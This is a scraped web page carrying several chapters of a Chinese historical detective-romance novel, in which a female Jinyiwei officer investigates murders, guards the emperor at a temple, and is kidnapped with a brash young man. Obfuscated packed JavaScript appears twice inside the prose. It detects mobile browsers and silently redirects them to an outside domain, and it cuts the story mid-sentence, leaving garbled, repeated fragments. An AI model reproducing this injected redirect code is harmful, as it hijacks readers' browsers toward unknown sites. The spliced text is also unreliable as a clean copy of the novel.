$(''#content'').append('' :“你还记得我们之前的推论吗?能背尸体凫水那么远的,应该是一名健壮的男子,她一介女流,怎么能做到呢?” 阿呆:“可有的女子,就是力气很大啊,像我以前的邻居张大娘,一个人能够扛起一整头猪呢!” “你说的张大娘毕竟是异数,当然,也不排除有这样的女子。”景暄和朗声道:“还有通往周夫人卧房的脚印也很可疑,我后来细想,总觉得奇怪,在我们去周府之前,曾下过一场雨,按理说脚印应该被雨水冲刷干净了,可是寿宴那天却能看到如此清晰的脚印,应该是凶手为了嫁祸周夫人,故意安排的吧,所以说,那家伙现在还在周府。” 阿呆:“有道理,那现在目标便可以锁定在周府了吧。” 景暄和点点头,又像想起了什么,说:“不,不对……” “不对什么?” “周府上下那么多人,如果凶手从湖中将尸体背出,为何没有一个人看见呢?况且周夫人的卧房离小湖那么近,若周夫人夜间睡不着,一出门撞见凶手怎么办?以凶手的谨慎,不会没有想到这一点。” 阿呆:“老大,你这么一说,我倒想起最近听说的一件异事,周府的小湖,似乎在几年前就有奇怪的事情发生呢。” 景暄和:“什么事?” “四年前,周府曾失踪过一名丫鬟,那是周老夫人的贴身丫鬟。三天后,尸体在湖心找到,被挖眼削鼻,十分可怖,大家都传言湖里有水鬼呢,再后来,周老夫人也疯了,府里就点上了熏香,说是能够驱灾辟邪。” “这样说来,那高丽国的熏香是在周老夫人疯癫后才开始点的。” “正是。” 可是,这几件事到底有什么关联呢? 失踪的丫鬟,疯癫的妇人,还有高丽国的熏香…… 不知不觉便来到了监牢外,牢外停着一个轿子,庄炎等候在轿侧,对景暄和做了一个请的手势。 “老大,你又要去万府吗?”阿呆问道。 “是,找万大人有点事情。”景暄和朝庄炎点点头,便向轿子的方向迈步。 阿呆说:“老大,你最近和万大人走得好近啊,和他在一起的时间都比和阿呆在一起长。” 景暄和顿住脚步,转身,脸上挂着一抹笑,道:“你可别多想了,那自然是不一样的。” “有什么不一样?”今天阿呆似乎格外执着,非要问个明白。 景暄和凝住笑意,说:“万大人一人之下,万人之上,怎可与你我小吏相提并论?阿呆,以后这种话不要问了。” “阿呆总觉得,老大虽然每天待人温和,彬彬有礼,可是总和人隔着一层似的,似乎谁都走不进你的心里,以前阿呆以为,老大天生就是这样淡漠的人,但是,自从遇到了万大人,老大似乎变了许多。” “是么?” “那种感觉,就像找到了知己一般。”阿呆黑色的眸子暗了暗,道:“也许老大和万大人才是一类人吧,你们总有些旁人说不清、道不明的默契。” “胡说!”景暄和咳嗽了一声,“有些人,是注定不可能成为朋友的,身份有别,最多只是互相利用罢了。” “老大……” “别说了,时间不早了,万大人应该快下朝了。”她说着便头也不回地进入了轿子。 阿呆看着她的背影,目光仿佛凝固了一般,不知在想什么。 17. 画中美人 景暄和被庄炎引到了第三层院子,万灵安还没下朝,景暄和便等候在此。 院中种着一棵梨树,开满了雪白的梨花,一簇簇、一层层,像满天铺开的云锦,空气中氤氲着淡淡的梨花香,沁人心脾。 小时候,老家的后花园也种着一棵梨树,春和景明的时候,洒下一地阴凉。那时,她在树下逗弄昆虫,明媚的午后一晃而过,妈妈便会端来一盘琅琊酥糖,让她尝尝。 妈妈知道这是她的最爱,总说自己牙疼不喜欢吃糖,只拿一两块,其余的全给她吃,结果景暄和糖吃多了,真长了蛀牙…… 种种景象,历历在目,仿佛昨日发生的一般。 也不知妈妈现在过得好不好? 景暄和坐在石椅上,倒了一杯清茶,茶香扑鼻,翻涌起雾气,是上好的苏州天池茶。 不知从何处飞来一只彩蝶,蓝色的翅膀,黑色的条纹,十分别致。 景暄和素来对奇异的昆虫感兴趣,她放下茶杯,被这彩蝶吸引着向前走,穿过一处回廊,来到一座亭边。 彩蝶向亭中飞去,景暄和也跟着它步上台阶。 亭中有一幅画,彩蝶正好停在画上。 景暄和细细地端详这彩蝶,突然,发现画中有个女童,大约八、九岁的样子。 这女童一身白衣,安静腼腆,很是漂亮,幼时就已经如此颜色,真不知长大后会是何等的倾城之姿? 突然想起寿宴上某位文官说的话,文渊阁大学生的千金徐芃敏就是这样的打扮,也许是她小时候的样子? 景暄和一愣,难道万灵安对徐芃敏也是情根深种,否则又怎会在亭中挂着这幅画? 可是,如果万灵安真的喜欢徐芃敏,为何会对她的求婚置之不理呢?就算当时他父亲新丧,这几年过去了,也有足够的机会迎娶徐芃敏了。 景暄和的目光落在了女童的脸上,只见她的眼睛明亮美丽,像澄澈的湖水凝聚成一团。五官深邃,长相实在不像徐芃敏。 在原主的记忆中,她小时候曾看过徐芃敏,一双微微上挑的丹凤眼,五官比画上的女子要柔和许多。 难道…… 一个念头陡然飞入脑中。 不可能吧。 难道万灵安喜欢的是于歌笛?可惜啊,现在她的身体里是景暄和的灵魂。 景暄和捧着茶杯,暗自心惊,万灵安的声音却出现在她身后。 “为何会来这里?” 他刚下朝,还没来得及换下朝服,戴展角幞头,穿一身织金蟒袍,腰系玉带,显得尊贵异常。 景暄和一惊,茶杯竟掉到地上,碎成了几瓣。 她赶忙蹲下身拾起碎片,手指却不小心被弄破了,渗出血来。 万灵安皱眉,将她拉了起来,又要庄大夫拿来纱布和金疮药,景暄和定了定心神,道:“万大人,不打紧的,我自己来就好。” 万灵安却拿起金疮药,往她手上洒了几下,又拿起纱布,帮她包扎。 景暄和见他神色不悦,只是顿了下,说:“刚才有一只奇异的彩蝶飞了过来,所以小人便跟着它过来了。” “彩蝶么,在哪里?”万灵安头也不抬道。 景暄和刚要一指,却发现自己思考得太入神,连彩蝶飞走了都没有发现。 她耸耸肩,不好意思地一笑。 包扎完毕后,景暄和试探着问道:“敢问万大人,这画像上的女孩,是你不能忘怀的人吗?” “嗯?为什么这么问?”他一点一点地与她拉近距离,景暄和咽了口唾沫,只觉得万灵安的眉眼像聚拢了天地间的灵气,让人觉得耀眼生花,不可逼视。 真是一副极好的皮囊呢,三分邪魅,七分飘逸,像个蛊惑人心的妖。 他薄唇轻动,吐出两个字。 “你猜。” 景暄和:“……” 刹那后,景暄和摇摇头,说道:“万大人的心思,小人怎么猜得透呢?” “但猜无妨。”万灵安道。 景暄和:“难道……是大人的心上人?” 万灵安轻笑了一声,不置可否。 “万大人是何时开始喜欢她的呢?”景暄和喃喃道。 万灵安的眼中像春水荡漾过柳枝,说出的话却是:“我何时说了自己喜欢她?” 景暄和:“……” 其实,万灵安一直在派人寻找于歌笛的下落,虽然他对她没有一星半点的男女之情,可是她毕竟是于景涟的女儿。 万灵安对他一向钦佩,自然不忍他的遗孀流落民间,被人欺负,其他便没什么了。 “对了,今天找我所为何事?你一向是无事不登三宝殿的。”万灵安换了个话题。 见他话中带刺,景暄和讪讪一笑,道:“周夫人三日后便会在午门问斩,万大人知道么?” 万灵安点头,神色淡然。 景暄和道:“若万大人能帮周夫人宽限几天便好了,小人总觉得此案蹊跷,周夫人八成是被冤枉的。” “关我何事?”万灵安似乎并不打算接茬。 景暄和说:“凶手性格残忍,保不齐又会犯案,若将周夫人斩首示众,又出现新的神鸟夺心案,百姓自然会觉得我们朝廷的官差是吃闲饭的,连凶手都抓错,到时候圣上大怒,若是一个不高兴牵连了万大人,便不好了。” “你倒是伶牙俐齿。”万灵安抿了抿唇,道:“你怎敢如此肯定,我会帮你?” 景暄和伸出手,拉了下他的袖子,眼中闪过一丝旖旎的颜色,声音放软道:“我知道你一定有办法的。” 万灵安看着那双眼睛,不由得低下头,她的指尖落在他的衣袖上,景暄和“啊”了一声,赶忙抽回手,道:“冒犯了。” “这次你又该如何贿赂我呢?”万灵安倒了杯茶,将头上的展角幞头取下,放在圆桌上,眼中不动声色地带上一抹笑。 景暄和思索了一下,说:“要不,万大人何时无聊了,便叫小人陪你打几局马吊牌,如何?” “呵,那下次你可得拿出真本事了。”万灵安浓黑的眸子划过一丝玩味,他又说:“这次你破案有功,被正式提拔为锦衣卫总旗,两日后便是四月初四,也是圣上与明贵妃驾临建宁寺的日子,周指挥使应该跟你说了吧。” 景暄和:“是,他要我做好保卫工作,不要让这次的庆典出差错。” 万灵安点头,景暄和却见他眼中有些疲色,便说:“大人也累了,那小人就不打扰万大人休息,先行告退了。” 离去的时候,她回头望了一眼,只见一亭,一人,一画,一世界。 *** 四月初四,建宁寺。 天气清朗,惠风和畅,寺里寺外被打扫的一尘不染,旧貌换新颜,片片樱花飘落下来,像淡粉的蝴蝶翩翩起舞,展开了一副绚烂的画卷。一个小沙弥低头捡起花瓣,被师兄拉着去上早课。 景暄和的部署可谓周全,庆典的仪式也已准备好,只是走水的三十二间禅房被黑布围了起来。众人都打起精神,翘首以盼天子的到来,周承恩等候在寺外,景暄和也整装以待。 巳时。 十几位太监开路,魏福忠为首,一左一右是两名小太监,景暄和一眼就看到了于恺之,众人山呼万岁,景暄和也随之俯首。 明黄的御驾缓缓而来,景暄和虽在内侧,余光却只见一方绣着团龙图样的黄色绫罗衣角,明贵妃并未与皇帝同乘,而是坐在后面的凤辇中。 众人继续跪拜,等皇帝与贵妃的车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555467|155429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马进入寺内,才陆续起身。 本朝的祭祀制度在先皇以前为每年清明、中元、冬至三大祭,圣旦、正旦、孟冬、忌辰四小祭,当今圣上却将祭祀逐步省简,有时不能亲临,甚至派遣官员代祭。只是这次的日子却尤为特别,在七祭之外,奇怪的是,皇上不光亲自前来,还对此次庆典十分重视。 典礼进行了两个时辰才结束,圣驾会在建宁寺停留一日,明日再回宫。 入夜。 景暄和在寺内巡视,见两名宫女端着糕点,似在交谈什么。 一身材娇小的宫女说:“皇上对明贵妃真是宠爱之极啊,知道明贵妃近来总做噩梦,竟专程带她来寺里祈福,真不愧是三千宠爱于一身。” 另一高挑清秀的宫女说:“可不是吗?你我也只有艳羡的份了。”她顿了顿,道:“贵妃近日总是梦到那外邦女子变成厉鬼找她索命,听说建宁寺的高僧众多,应该能帮她化解吧。” “你说的外邦女子可是高丽国的公主李黛烟?” “是啊,六年前,高丽国王将公主李黛烟进献给陛下为妃,陛下起初对这位异国的公主颇为宠爱,毕竟这公主是一位绝色美女,有一双特别的淡灰色眼珠,像朦胧的烟雨一般,皇上对她的恩宠甚至有超过明贵妃的势头。谁知后来竟因为偷盗被打入冷宫,最后生病而死,尸体被丢入乱葬岗中,真是可悲可叹。” “明面上说是生病,还有传言说,她是被活活饿死的呢!那时寒冬腊月,黛烟公主被关在冷宫里,无依无靠,每天都吃些残羹冷炙,谁都可以捉弄她。再后来,明贵妃吩咐当值的小太监不要给她送餐,黛烟公主便在饥寒交迫中死去了。” “后宫中的女子不都是这样?一朝显赫便被捧到云端,若是摔下来,便成了一滩烂泥,谁都可以踩上一脚。” “要我说,还是看命,论长相,明贵妃只能说姿容平平,还比陛下大八岁,后宫里比她漂亮、温柔的女子可多了去了,更别提当时的黛烟公主,姿容绝色,可陛下就是对贵妃着了迷一般的好,也不知为什么。” 这时,一名太监走过来,尖声道:“两个死丫头,又在嚼舌根子了,这可是陛下为明贵妃准备的糕点,若是耽误半刻,惹恼了贵妃,有你们好果子吃。” “伍公公教训的是。” 两名宫女神色一变,赶忙离开了。 景暄和停住脚步,她本对这些宫廷秘辛不感兴趣,可其中竟听到了“高丽国”三字,却不得不留心了——既然种种证据与高丽国有关,难道是高丽国的人为死去的黛烟公主报仇吗? 之前的三名死者分别是顺天府的富商,宫内太监,还有明贵妃的手帕交,难道这三人与黛烟公主有关? “谁在那里?”细声的太监问。 景暄和一愣,抬头道:“下官是……” 凝眉,只见一张白净的面皮,秀气的眉毛,细长的眼,和微微向下的唇,正是弟弟于恺之。 原来,于恺之净身后,便化名“小伍子”,宫内人称伍公公。 景暄和深吸一口气,拼命地压低声音,说:“下官是锦衣卫的总旗,负责保卫陛下的安全。” “哦,咱家想起来了,怪不得看的眼熟,你便是上次在溪边烦扰厂公的小吏吧,真是冤家路窄!” 于恺之似乎没认出景暄和,将手中的拂尘一甩,哂然一笑,便哼着小调离开了。 景暄和紧紧地握住拳,只觉得心情无比低落,她定在那里,像一尊雕像。 突然,草丛中似乎有动静。 景暄和抽出佩剑,一步步逼近那草丛,动静似乎没了。 她眉头一紧,只见草丛边露出一痕银色的衣角,明显就是有人躲在那里。 她一提气,朝着那草丛就是一踹…… 18. 遇险被劫(1) “你奶奶的!谁?谁踢老子屁股?!” 从草丛中滚出一个面容清俊的青年,他眉毛浓黑,鼻梁高挺,只是手捂屁股,头顶草屑,呲牙咧嘴,显得荒诞可笑。 “你老子踢的。”景暄和憋住笑,道。 她在巡街时遇过许多流氓无赖,大都粗言粗语,所以面对这青年的出口不羁,她并未动怒,甚至觉得十分好笑。 “滚蛋,竟敢自称我老子!难道你不知道我是谁?”青年上下打量了景暄和一眼。 景暄和笑道:“我怎么会不认得你?” 青年似乎有些惊讶,嘴唇微张,说道:“那你还敢……” 景暄和:“你是我亲儿子啊。” 青年:“……” 景暄和说完,就捧腹大笑了起来,青年似乎呆愣了半天,才知道自己被戏弄了。 青年“哼”了一声,叉腰道:“有种就来单挑,看谁是谁老子,不敢的是乌龟王八蛋。” 景暄和心想,今天随御驾来建宁寺的大臣也很多,这人八成是某位大臣的公子,半夜想溜出寺庙玩耍,碰巧被她逮住了。 景暄和:“我才没时间跟你胡耗,还要保卫皇上的安全呢,这位公子还是回去吧,仔细被你亲老子捉住了,抽得你屁股开花。” “呸,你才屁股开花,你全身都开花!”青年修长的眉毛向上一挑,道:“我看你是不敢吧!要不这样,你叫我声老子,我就放你这乖儿子回去。” “你这厮怎么如此胡搅蛮缠?”景暄和抱臂,说:“小子,刀剑无眼,若是伤着你了,你老子找我赔钱怎么办?” “我老子早死了,鬼才要你赔钱。”青年将头上的草屑理了理,“真是倒霉,建宁寺的围墙太高,我根本就爬不出去,你会翻墙么?” 景暄和指了指那墙:“在我眼里,这就不是一面墙。” “那是什么?” “是平地。”景暄和自信一笑,又道:“小子,你刚才躲在草丛里干什么?鬼鬼祟祟的,害我差点劈了你。” “还不是因为我想爬墙结果摔了,后来看你来了,怕被抓住,就赶忙躲在草丛里了。” 景暄和抿嘴一笑:“你倒挺诚实。” 青年黝黑的眼珠转了转:“要不咱俩来个赌约,若我赢了,你便带我出寺玩耍一番,若你赢了,我便乖乖回去,怎么样?” “你平时不能出去玩吗,非要挑今天?”景暄和整了整衣服,道:“今天,我还有大事要做,岂能陪你小子嬉笑玩耍?” “不就是给皇上巡逻吗?刚才我听路过的宫女说,皇上已经歇下了,你巡了也是白巡。” “我断不能擅离职守,那可是掉脑袋的大罪。” “老子求你了!” “可是……” “要不换个赌注,若我赢了,你就助我翻墙成功,我自己玩,不用你带。” 景暄和:“……” 青年抓住她的手,左右摇摆,脸上写满了可怜:“我家亲老子把我关在像监狱一般的大房子里,从不许我出去玩耍,本想着他哪天翘辫子了,我便要做个混世魔王,将以前受的拘束通通奉还。可是万万没想到,我还是每日被人管着,不得自由,真是憋屈死了。” 景暄和见不得他撒娇,甩开他的手,道:“男子汉大丈夫,怎么跟个小媳妇一样?也罢也罢,说吧,打什么赌?” “我打赌,等下有个宫女会给皇上送熏香,但是会被皇上的贴身太监赶出来,然后气得哭鼻子。” 景暄和道:“好,我跟你赌。” 她心想,这小子八成是张口乱说,不能当真。 建宁寺有一个单独的院落,供皇上与贵妃歇息,院落外有亲兵把守,还站着许多太监和宫女。 景暄和与那青年隐在草丛里,片刻后,真有一名宫女端着盘子,向院落走去,而盘中放的正是上好的熏香。 青年得意一笑:“看吧,我猜得对不?” “还没完呢。”景暄和指了指宫女,说:“等着瞧吧,我就不信太监会将那宫女赶出来。” “真是不到黄河不死心啊。”青年打了个哈欠。 半晌后,卧房里传来一阵喧嚣,盘子被丢到了房外,房门大开,宫女战战兢兢地跪在地上,一位清秀的小太监说:“皇上正在歇息,再没有眼力见过来打扰,小心咱家对你不客气。” 宫女低声道:“可这熏香是皇上每日都要用的,为何今日却不用呢?” 小太监啐了一声:“笑话,陛下的圣意也是尔等宫女能够揣测的?再没大没小,仔细你的脑袋!” 宫女战战兢兢地退出了房外,在出门的时候,泪水夺眶而出。 “哈哈,我赢了。”青年勾了勾手指,“愿赌服输,你今天必须帮我翻墙成功。” “这……” “走吧走吧。” 就这样,景暄和不情不愿地被青年推到了围墙边。 突然,墙边似有响动,落下一片瓦,景暄和一个激灵捂住那青年的嘴,迅速蹲下。 “好像有人!” 话音刚毕,几痕黑影鬼魅般地飞了进来,他们轻功极好,飞檐走壁。 “不好,有刺客!” 景暄和没成想此处竟有刺客,那伙人似乎发现了她的存在,立即与她交锋。 景暄和将脖上的哨子吹响,提醒锦衣卫的兄弟做好防范,她以一敌众,对方又是武功高强之人,渐渐有些体力不支。 “他奶奶的球,真刺激!”青年像看戏一般,津津有味,连眼睛都没眨。 “躲开!”景暄和只觉得他脑子有病,手无缚鸡之力,遇到刺客竟然不怕。 青年笑了一声,露出一口白牙,“好一出大戏啊,我来帮你!” 不知从哪找来一块石头,嘴里大叫一声便向一名刺客的脑后砸去。 “去你大爷的!”他骂道。 刺客一闪,青年没刹住,竟朝景暄和砸来,景暄和眼疾手快地也一闪,青年“啊”的一声,被地上的石头绊倒,摔了个狗吃屎。 一名刺客朝他刺去,景暄和见势不妙,赶忙调转剑头,护在青年跟前,谁知一只手竟被刺客抓住,“咯吱”一声,手腕便脱臼了。 景暄和眉头一皱,只觉得疼痛难忍,青年眼睛陡然变大,脸色刷一下惨白,似乎被吓傻了。 “你们这是……”他惊讶地连话都说不出。 这时,围墙边有响动,又见十名黑衣刺客飞了进来。 景暄和心想:吾命休矣,对方人多势众,今天恐怕要命丧于此了。 奇怪的是,这伙刺客却与刚才那伙人厮杀起来,短兵相接,虎掷龙拿。 景暄和一惊,难道他们是不同的两拨人? 这伙人武功更高,轻而易举就将对面的人围剿了。 景暄和不知他们是敌是友,却见领头的一人瞧了她一眼,刹那间,从兜中掏出迷粉,朝她撒去,景暄和只觉得眼前一黑,便不省人事了。 …… 再度醒来时,景暄和发现自己被关在一处暗室里,月光渗进漏风的纸窗内,撒下一地清辉。 她靠着柱子,想挪动身子,手脚却被缚住。 那青年手脚也被绑住了,仍是昏迷不醒,横卧在她面前。 “喂,醒醒!”景暄和为了不惊扰外面的人,低声对青年道。 青年没反应。 “不会是死了吧?” 景暄和想着,便踹了他一脚,青年眉头蹙起,醒了过来,只觉得脑袋晕晕乎乎。 “我们这是在哪?”青年咳嗽了一声,道。 景暄和一本正经地说:“阎王殿。” “什么?”青年一溜烟坐了起来,“我竟和你小子死在了一起?真是倒霉催的!” 景暄和:“怎么,你害怕?” “怕什么?”青年眼眸微闪,呵呵一笑,“每个人都是要死的,早死晚死都是死,死在外面,总比死在那暗无天日的大房子里要好。” 景暄和“哼”了一声:“和你这小泼皮死在一起,岂不是掉了我的身价?你想死,阎王还嫌你烦人,不收你呢。” “你又骗我!”青年噘嘴道:“不许你叫我小泼皮!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555468|155429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他低头望了一眼衣服上的鞋印,“也不许再踹我了!我这衣服可贵着呢!” “你说不许就不许么?说你胖还喘上了。”景暄和不想再与他争辩,只是环顾四周——暗室的角落里结满了蛛网,看起来已有些年头,地上铺满了稻草,还有干柴。 木门被打开,进来两名汉子,他们手持蜡烛,一人矮胖,一人高瘦,皆是不苟言笑。 他们将一块烧饼放在青年旁边,便盘腿坐了下来,和景暄和他们大眼瞪小眼。 “两位好汉,我们在顺天府无亲无故,你们把我们抓来也弄不到赎金,还浪费粮食,这笔买卖真不划算啊!”景暄和假意与他们攀谈。 两人毫不理睬,表情要多严肃有多严肃。 景暄和缓了缓,头转向青年的方向,笑道:“这里有两尊金菩萨、银罗汉,都不理人,真是高高在上哩。” 青年不知所谓地望了她一眼。 矮胖那人开口:“你叫谁呢?” “正是你们二人呐。”景暄和解释道:“这位高瘦的兄弟,骨骼清奇,印堂发光,可不就是金菩萨?这位健壮的兄弟,福气临门,一团喜气,可不就是银罗汉?” 高瘦子舔了舔舌头,说:“这少年倒会说实话。” 矮胖子的表情也缓和了不少。 景暄和笑吟吟道:“我们有些饿了,但是手脚都被绑住,不能吃东西,二位大哥能否将我们的手暂时松开,吃完东西再绑住我们呢?” 矮胖子摆摆手:“不成不成!若是你们耍花招要逃跑怎么办?” 高瘦子附和道:“是啊,即使你们嘴里说的天花乱坠,我们也不得不防。” 景暄和叹了口气:“那我就只能勉强用绑住的手将碗拿起来了。” 说着便用手缓缓将碗拿起,递给青年说:“你先吃。” 青年还未接过,景暄和“哎呀”一声,瓷碗掉在地上,摔成了碎片。 烧饼滚了几圈,沾上了些灰尘。 青年本要发怒,景暄和却道:“不好意思,我的一只手被他们扭断了,现下没有力气。” 青年的眉头微皱,咬了咬牙:“我竟忘了你的手坏了。” 他从地上捡起烧饼,在衣服上擦了擦,又撕成两半,对景暄和说:“给你一半。” “谢了。”景暄和接过烧饼,吃了起来。 青年心中一凛,不由自主地望向了景暄和——刚才他手断了,却一点都没表现出来,难道他都感觉不到疼痛吗?要是我受了这份苦楚的话,早就哇哇大叫了。 两人就这样勉强吃完了烧饼。 景暄和对两位汉子道:“我这兄弟想小解了,烦请二位能否回避一下?” 青年道:“我什么时候说……” 景暄和给他使了个眼色,青年住嘴了,只是玩味地看着她。 “都是大男人,怕什么?”矮胖子头也不抬。 “我这兄弟有个毛病,对着外人小解不出来,想必金菩萨、银罗汉也不会为难我等凡人吧?” 两位汉子低声商量了一下,说:“那好吧,麻溜点,我们就在外面守着,要是你们敢动什么歪脑筋,除非不想活了。” 二人将门关好后,景暄和对青年低声说:“快,快将窗户打开,我们跳窗逃走。” “老子才不想出去呢!这里管吃管住,比家里快活多了。”青年懒洋洋地翘了一个二郎腿道:“困了,先睡会儿。” “你又发什么神经?”景暄和呵斥他:“小心我再踹你!这瓷碗的碎片可以划开绳子,若没了束缚,我们就有救了。” “原来你是故意将瓷碗摔碎的啊!” “不然呢?” “也罢、也罢。”青年不耐烦地起身,跳到窗边,用头将窗子打开。 景暄和欠身一看,却惊讶地合不拢嘴。 放眼望去,房后是一大片湖泊,三面临湖,只有前门一个出口,而那里把守着两名汉子。 “你会凫水么?”景暄和问。 青年摇摇头,反问:“你呢?” 景暄和:“……” 19. 遇险被劫(2) 计划一以失败告终。 景暄和一鼓作气,道:“等下我就跟他们说你有洁癖,在屋内小解不干净,要其中一人带你到外面去小解。你躲在草丛里,趁其不备,就快点跑吧。” 青年:“我跑了你怎么办?” “现在不是逞英雄的时候,跑掉一个算一个吧。再说我是官,你是民,当官的保护百姓,这不是天经地义的事情么?” 青年若有所思地望着她,眸中仿佛冰雪初融。 景暄和来不及多想,便将地上的瓷片塞给青年一片,要他藏在袖子里,准备好后,便叫两名汉子进门,赔笑着将情况跟他们说了。 矮胖子道:“真麻烦,算了算了,你出来吧。”他指了指青年。 青年慢悠悠地起身,一跳一跳地跟在矮胖子后面出去了。 景暄和心想:等青年跑掉后,两名看门人势必会大怒,到时候她免不得受一顿皮肉之苦,不过挨打后还是要找机会逃跑。 一会儿,门被打开了,矮胖子在前面走,就在景暄和想着怎么应付他时,青年竟跟在他后面也进来了,他的神态自若,面无表情。 高瘦子说:“我们就在外面守着,这里三面环湖,对于不会凫水的人,谅他们也跑不了。” “等等,”矮胖子走近景暄和,突然拿剑将她手上的绳子割断,道:“我裤腰带散了,正愁没绳子系呢,这少年手坏了,不绑也跑不了。” 二人说完便出门了,留下一根蜡烛,木门再度被关上,青年跳到景暄和身边坐下。 景暄和有些薄怒:“不是叫你跑吗?” 青年:“哎呀,这里可是荒郊野外啊,乌漆墨黑的,我不认得路,再说了,我脚疼,也跑不了多远。” “所以就干脆不跑了么?像你这样坐以待毙,真是朽木不可雕也。”景暄和干脆懒得理他。 “好巧啊,我老师也是这样说我的。”青年撇嘴道。 景暄和挑眉:“有你这样懒惰怠慢的学生,你老师肯定被你气死了。” “没有,我嫌他太啰嗦,就把他杀了。” 景暄和:“……” 说谎话也要有个度好么,就凭你这手无缚鸡之力的样子,还能杀人? 青年直直地躺在稻草上,说:“太累了,让我先睡一觉。” 景暄和没理他,青年过了一会儿,翻了个身子,道:“睡不着,这里真没意思。” “你再说话,人家嫌你聒噪,脱下臭袜子塞在你嘴里,那就有意思了。” 青年翻了个白眼,又说:“对了,你刚才为什么要叫他们金菩萨和银罗汉呢?我鸡皮疙瘩都起来了。” “谁都喜欢听好话,若我不这样说,他们怎么会理我们呢。” 青年来了兴趣:“那你实际想叫他们什么?” 景暄和想了想:“丑八怪和癞皮狗。” 两人相视一眼,青年哈哈大笑起来,嘴里念着:“妙哉,妙哉!” “我现在担心的是,锦衣卫那些兄弟怎样了,这两伙黑衣人一看就不是同门,可他们保不齐也是来刺杀皇上的,现在我身为锦衣卫总旗,却被抓了,回去免不得要受责罚。” 青年道:“你放心,皇上没事。” “你怎么知道?” “那么多人保护他,不缺你一个。” 景暄和靠在柱子上,手腕已经肿起一大块,疼痛一阵阵传来,景暄和的额头冒出冷汗,却仍在强撑。 “很疼吗?”青年见她脸色苍白,坐起身问道。 “还在可以忍受的范围内。” “真是一条好汉,你倒是能忍。”青年想了想,说:“要我帮你吗?” 景暄和点点头,“如果可以的话,算我欠你一个人情。” “别别别,人情谈不上,我就是怕逃走的时候,你拖累我。” “可是……你会复位手腕吗?” “以前家里养了些兔子,腿摔断了,就是我治的,想来和人应该差不多。” 还没等景暄和说话,青年便捏住她的手腕,向前一拉,再用力一拧,景暄和“嘶”了一声,只觉得钻心一疼。 青年问:“好了么?” 景暄和点头,疼得说不出话。 他捡了两根柴火,将她的手腕固定住,又将身上的衣服拉下一截,绑住柴火。 过了许久,青年问:“反正闲着也是闲着,小子,你叫什么名字?” “和你有关系么?” “喂,我可是你的接骨恩人。” “景暄和。”她淡淡道。 “你怎么不问我的名字?” 景暄和瞧了他一眼,“没兴趣。” “不行,你必须问!” 景暄和被他吵得头疼,“好吧,你叫什么?” “就不告诉你!”青年露出诡计得逞的笑容,“哈哈,终于被我骗了一回。” 景暄和:“……” 她腹诽道:大哥,能不能不要这么幼稚。 青年:“不过,你愿意让我先走,还是很讲义气的,我还以为世上会这样对我的人,只有我哥哥呢。” 景暄和:“你还有哥哥?” “是啊,”青年目光飘向了窗子,道:“我哥哥待我很好的,他相貌好,人品也好,以前我老爹总是偏心哥哥,可我一点都不嫉妒他,因为我觉得哥哥那么优秀,世上所有的宠爱理所应当都是他的。我不喜欢读书,每次考试都不合格,哥哥却帮我在老爹面前求情,免了我好多板子。” 景暄和:“糟糕,你现在被关在这里,你哥哥该多着急啊。” 青年的黑眸沉了沉,说:“我哥哥……已经不在了呢。” 他顿了顿,“小时候,他明明身体很好的,有天却得了重病,病来如山倒,老爹为他找了许多大夫也没有用,有次我去看他,他还笑着对我说,自己没事,过几天就好了,等他病好,我们再来踢一场蹴鞠赛。我说好,我等他。再后来,他们竟说,他病死了,我怎么也没想到,那是我最后一次见他。” 青年英俊的脸上有一丝落寞,不同于以往的飞扬跋扈,他的思绪仿佛穿过岁月的尘埃,到达了远处。 “你这么一说,倒让我想起了我妹妹。”景暄和眼眸微垂,此时窗外隐有蛙声,纸窗上勾勒出月的淡影,细碎的影子投射到窗上,一豆烛光晕黄了暗室。 景暄和口中的“妹妹”,是她在现代的亲妹妹景暄妍,她们从小一起长大,感情颇深。 “说说呗。”青年看着景暄和的侧颜,眨了眨眼,道。 “我妹妹和你可是截然不同,她一直都很乖,反倒是我,让父亲担心许多。” 他们家是建筑世家,父亲很想她们姐妹接他的班,可是景暄和却对这个一点也不感兴趣,反而妹妹最后成为了一个有名的建筑师,去了上海上班,自己却还在老家北方,当一个警察。 “原来你也是个混世魔王啊?” “混世魔王谈不上,离经叛道倒是有的。” “那你妹妹呢?” 景暄和叹息了一声:“长大之后,我们分隔两地,大家都很忙,联系的也越来越少了,我总觉得,自己和她已经不是一类人了。” “什么叫不是一类人?简直放屁!”青年的情绪有些激动,“和尚是人,尼姑是人,文武百官是人,当今皇上也是人,既然都是人,又有什么不一样的?我时常思念哥哥,却怎么都见不到,你的妹妹明明活在世上,起码你还有个念想,简直是身在福中不知福啊。” 景暄和有些惊讶,却不得不承认:“你这小泼皮,倒挺有见解的。” “当然,人不可貌相没听过么?”青年恢复了懒散的神情,“要不这样吧,既然我没了哥哥,你失了妹妹,那么我当你弟弟吧,咱们拜个把子如何?” “我可不要一个小泼皮当我弟弟。”景暄和揶揄道。 “你是第一个敢叫我小泼皮的人。”青年问:“我今年二十三岁了,你多大?” “我……比你小几岁,今年刚好十八。”景暄和用的这具身体的年龄。 “那好,我是哥哥,你是弟弟,如何?” “这不好吧?”景暄和心想,我与你才见了一次面,就称兄道弟的,也不嫌奇怪? “就这样定了。”青年一锤定音道。 “可是我还没有答应呢。” “你答不答应,和我有关系么?” 